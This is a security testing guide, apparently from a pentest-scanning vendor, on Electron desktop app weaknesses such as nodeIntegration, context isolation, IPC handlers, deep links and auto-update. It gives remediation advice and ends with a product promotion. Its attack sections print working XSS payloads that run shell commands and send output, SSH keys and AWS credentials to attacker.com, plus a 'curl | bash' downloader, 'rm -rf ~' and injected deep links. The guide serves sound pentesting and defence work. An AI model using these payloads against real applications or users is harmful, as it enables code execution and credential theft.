Electron Application Security Testing: nodeIntegration, XSS to RCE, and Context Isolation
Electron powers more enterprise software than most security teams realize. VS Code, Slack, Discord, Microsoft Teams, Figma, 1Password, Notion, Obsidian — the list is long and growing. Each of these apps ships a full Chromium browser and a Node.js runtime in a single binary, running with the user's filesystem access and without a browser sandbox. When XSS occurs in an Electron app with legacy settings, the impact isn't data exfiltration — it's arbitrary code execution on the user's machine.
This matters for AppSec teams at companies building internal tooling, B2B desktop products, or distributing company-managed desktop applications. It also matters for pentesters assessing third-party software used within an organization. The attack surface is distinct from web applications, and the severity ceiling is meaningfully higher.
Electron Architecture and the Security Model
Electron has two process types:
- Main process: Node.js. Full OS access — filesystem, native modules, child processes, inter-process communication. Creates and manages browser windows.
- Renderer process: Chromium. Renders HTML/CSS/JS. Should have limited OS access, but this depends on configuration.
The key security settings that determine the attack surface:
| Setting | Secure Value | Vulnerable Value | Impact if Vulnerable |
|---|---|---|---|
nodeIntegration |
false |
true |
XSS → full Node.js access → RCE |
contextIsolation |
true |
false |
Renderer can access preload script globals |
sandbox |
true |
false |
Renderer runs without OS-level sandbox |
webSecurity |
true |
false |
Same-origin policy disabled; cross-origin reads allowed |
allowRunningInsecureContent |
false |
true |
HTTP content in HTTPS context; mixed-content attacks |
experimentalFeatures |
false |
true |
Unstable Chromium features exposed |
Reconnaissance: Reading the App's Security Configuration
Before testing for specific vulnerabilities, establish what the app's configuration actually is. Electron apps ship with their source code accessible — the application resources (the JavaScript, HTML, and configuration) are typically bundled in an asar archive that can be extracted.
# Install asar extraction tool
npm install -g asar
# Locate the app resources
# macOS
ls /Applications/AppName.app/Contents/Resources/
# Linux
ls /opt/AppName/resources/
# Windows
ls "C:\Program Files\AppName\resources\"
# Extract the asar bundle
asar extract /Applications/AppName.app/Contents/Resources/app.asar ./app-extracted/
# Look for BrowserWindow configuration
grep -r "nodeIntegration\|contextIsolation\|sandbox\|webSecurity" ./app-extracted/ --include="*.js"
# Check for webPreferences in main process
grep -r "webPreferences" ./app-extracted/ --include="*.js" -A 10
Pay particular attention to how each BrowserWindow is created. Legacy Electron apps often have the main window secured but create secondary windows (popups, child windows, devtools extensions) with weaker settings:
# In the extracted source, look for:
new BrowserWindow({
webPreferences: {
nodeIntegration: true, // ← critically dangerous
contextIsolation: false, // ← allows preload bypass
sandbox: false, // ← no OS sandbox
webSecurity: false, // ← SOP disabled
}
})
# Also check window.open() and new-window event handlers
# and webContents.setWindowOpenHandler()
Attack 1: XSS to Remote Code Execution (nodeIntegration: true)
nodeIntegration: true, any XSS in the renderer has access to the full Node.js API. This means arbitrary file system access, child process execution, and native module loading.
The payload is different from a standard XSS because the execution context includes Node.js globals:
# Standard XSS payload
<script>alert(document.cookie)</script>
# Electron XSS with nodeIntegration: true — executes OS commands
<script>
require('child_process').exec('id; whoami; hostname', (err, stdout) => {
fetch('https://attacker.com/exfil?data=' + btoa(stdout));
});
</script>
# Read filesystem
<script>
const fs = require('fs');
const data = fs.readFileSync('/Users/' + require('os').userInfo().username + '/.ssh/id_rsa', 'utf8');
fetch('https://attacker.com/exfil?key=' + btoa(data));
</script>
# Establish persistent access
<script>
const { exec } = require('child_process');
exec('curl https://attacker.com/payload.sh | bash');
</script>
Finding XSS entry points in Electron apps requires thinking about where user-controlled content gets rendered. Common vectors:
- Markdown rendering (many apps render user-supplied markdown in the UI)
- Chat or messaging content from other users
- Imported file content displayed in the UI
- Link preview generation
- Notification content received from a server
- Plugin or extension systems
- Collaborative document content
Attack 2: Context Isolation Bypass
contextIsolation: false, the renderer can access and overwrite objects defined in the preload script, potentially reaching privileged IPC channels.
Modern secure Electron apps use a preload script as an intermediary. The preload runs in a privileged context and exposes specific, limited capabilities to the renderer via contextBridge. With contextIsolation: false, the renderer shares the same JavaScript context as the preload, allowing it to overwrite or intercept preload-defined functions:
# Preload script (intended to expose only specific functions)
contextBridge.exposeInMainWorld('electronAPI', {
openFile: () => ipcRenderer.invoke('open-file'),
sendToMain: (data) => ipcRenderer.send('data-channel', data)
});
# With contextIsolation: false, the renderer can directly access ipcRenderer
# and send arbitrary messages to the main process:
<script>
// Access preload context directly
const { ipcRenderer } = require('electron'); // works with nodeIntegration:true
// Or access pre-exposed globals
window.electronAPI.sendToMain({ command: 'exec', payload: 'rm -rf ~' });
</script>
Testing context isolation:
# In the app's DevTools console (Ctrl+Shift+I)
# Check if preload script globals are accessible
console.log(window.__webpack_require__); // often exposed in bundled apps
console.log(window.require); // Node.js require if nodeIntegration:true
console.log(window.process); // process object if accessible
# Check if ipcRenderer is accessible
try {
const { ipcRenderer } = require('electron');
console.log('nodeIntegration enabled — ipcRenderer accessible');
} catch (e) {
console.log('nodeIntegration disabled');
}
# Check what's exposed via contextBridge
console.log(Object.keys(window)); // look for custom electron APIs
Attack 3: IPC Channel Abuse
Even with nodeIntegration: false and contextIsolation: true, the IPC channels exposed by the main process are a trust boundary that must be tested. If the main process handles arbitrary shell commands or file operations without validating the source and content, a renderer XSS can exploit those channels through the legitimately exposed contextBridge API:
# Example: main process handles 'shell-exec' channel
# In main.js (from extracted source)
ipcMain.handle('shell-exec', async (event, command) => {
return exec(command); // ← no allowlist, executes arbitrary commands
});
# Exploitation via contextBridge — if sendToMain is exposed:
window.electronAPI.sendToMain('shell-exec', 'cat ~/.aws/credentials');
# Or through direct IPC if contextIsolation is false:
ipcRenderer.invoke('shell-exec', 'id')
When reviewing IPC handlers, look for:
- Handlers that execute shell commands from renderer-supplied input
- Handlers that write to or read from arbitrary filesystem paths
- Handlers that load native modules by name from renderer input
- Handlers that make network requests to renderer-supplied URLs
- Missing
event.sender.getURL()validation — main process should check the origin of the IPC message
Attack 4: Navigation to Arbitrary URLs
If a renderer can navigate the main window (or a popup) to an arbitrary external URL, and that window has nodeIntegration: true, the attacker's page gains Node.js access. Test whether navigation is restricted:
# In DevTools console — attempt to navigate to external URL
window.location = 'https://attacker.com/exploit.html';
# Or open a new privileged window
window.open('https://attacker.com/exploit.html', '_blank');
# Check for will-navigate and did-navigate-in-page event handlers in main process
grep -r "will-navigate\|did-navigate\|new-window\|setWindowOpenHandler" ./app-extracted/
# Secure app should have:
mainWindow.webContents.on('will-navigate', (event, navigationUrl) => {
const parsedUrl = new URL(navigationUrl);
if (parsedUrl.origin !== 'https://app.example.com') {
event.preventDefault();
}
});
Attack 5: Protocol Handler Abuse
myapp://) from the browser, but fail to sanitize the URL before acting on it.
Electron apps often register as the OS handler for a custom URI scheme to support deep-linking from the browser (e.g., vscode://, slack://). If a user clicks a malicious link in the browser, it can invoke the Electron app with attacker-controlled parameters.
# Check registered protocol handlers in extracted source
grep -r "setAsDefaultProtocolClient\|protocol.registerHttpProtocol" ./app-extracted/
# The main process receives the URL via open-url event (macOS) or argv (Windows/Linux)
app.on('open-url', (event, url) => {
handleDeepLink(url); // ← is this safely parsed?
});
# Attack: craft a malicious deep link
# If the app processes: myapp://action?file=/path/to/file
# Test: myapp://action?file=../../etc/passwd
# Or: myapp://action?url=javascript:require('child_process').exec('id')
# Trigger from browser
<a href="myapp://action?command=calc.exe">click</a>
Attack 6: Insecure Auto-Update Mechanism
Auto-update is a code execution mechanism by design. The security question is whether the downloaded code is authenticated before execution:
# Intercept auto-update requests with Burp Suite
# Look for update checks to HTTP endpoints (not HTTPS)
# Check for signature verification in the update client
grep -r "autoUpdater\|electron-updater\|update-electron-app" ./app-extracted/
# Check if the update URL is configurable
grep -r "feedURL\|updateURL\|setFeedURL" ./app-extracted/
# Verify signature checking is enabled
grep -r "verifySignature\|publisherName\|releaseType" ./app-extracted/
# Test: Does the update endpoint use HTTPS?
# Test: Is the update package signature verified before install?
# Test: Can the update URL be overridden via environment variable or config file?
# Electron-builder signature check (secure):
autoUpdater.on('update-downloaded', () => {
// electron-builder verifies code signature before install
autoUpdater.quitAndInstall();
});
Additional Attack Surfaces
DevTools in Production
# Check if DevTools can be opened in the production app
# (keyboard shortcut: F12, Ctrl+Shift+I, Cmd+Option+I)
grep -r "openDevTools\|devTools\|inspectElement" ./app-extracted/
# Secure apps disable devtools in production:
if (process.env.NODE_ENV === 'development') {
mainWindow.webContents.openDevTools();
}
# Test: can DevTools be opened? If yes, you have a REPL in the renderer context
Local HTTP Server
# Some Electron apps run a local HTTP server for IPC or dev tooling
# If this server is accessible from the network (0.0.0.0 instead of 127.0.0.1)
# other machines on the same network can interact with it
grep -r "listen\|createServer" ./app-extracted/ | grep -v "test\|spec\|mock"
# Check for DNS rebinding vulnerabilities if app has local HTTP server
Unsafe Deserialization
# Electron apps often persist state via localStorage, SQLite, or config files
# Check for unsafe deserialization of stored data
grep -r "JSON.parse\|deserialize\|unserialize\|eval" ./app-extracted/ | grep -v node_modules
# Stored XSS via persisted data that gets rendered without sanitization
# Check how stored data (from previous sessions or synced from server) is rendered
Practical Testing Checklist
- Extract the
app.asarbundle and search fornodeIntegration,contextIsolation,sandbox, andwebSecuritysettings in allBrowserWindowandwebviewconfigurations. - Open DevTools (
F12/Ctrl+Shift+I). Check ifwindow.require,window.process, orwindow.moduleare accessible from the console. - Find every point where user-controlled content is rendered as HTML. Test standard XSS payloads, then escalate with Node.js payloads if
nodeIntegrationis enabled. - Review all IPC channel handlers in the main process. Check for unsafe operations (exec, filesystem access, network requests) that accept renderer input without sanitization.
- Test navigation restrictions: from DevTools, attempt
window.location = 'https://google.com'andwindow.open('https://google.com'). - Identify registered custom protocol handlers. Craft deep links with path traversal, JavaScript protocol, and other injection payloads.
- Intercept auto-update traffic. Verify HTTPS is used and code signature verification is enforced before install.
- Check for local HTTP server listeners using
netstat -an | grep LISTEN. Test if bound to all interfaces vs. localhost only. - Check Electron version: older versions have known CVEs.
process.versions.electronin the DevTools console. - Review CSP headers on loaded pages — Electron apps should enforce CSP even though they're not a browser in the traditional sense.
Key Remediation Points
| Issue | Fix |
|---|---|
nodeIntegration: true |
Set to false. Use preload + contextBridge for any Node.js access the renderer legitimately needs. |
contextIsolation: false |
Set to true. This is the default in Electron 12+. |
| Navigation not restricted | Add will-navigate and setWindowOpenHandler handlers that allowlist valid origins. |
| Unsafe IPC handlers | Validate event.sender.getURL(). Use allowlists for accepted commands/paths. Never exec arbitrary renderer input. |
| No update signature verification | Use electron-builder's code signing + auto-update signature check. Never fetch updates over HTTP. |
| DevTools accessible in production | Gate openDevTools() on NODE_ENV === 'development'. |
| Protocol handler injection | Parse and validate deep link URLs before acting on them. Allowlist expected parameters and values. |
Ironimo tests your web application and API endpoints for the same vulnerability classes that escalate to critical impact in Electron apps — XSS, injection, authentication bypass — using the Kali Linux toolset professional pentesters use.
On-demand and scheduled scanning. Each finding includes the exact request, the response, and a remediation path.
Start free scan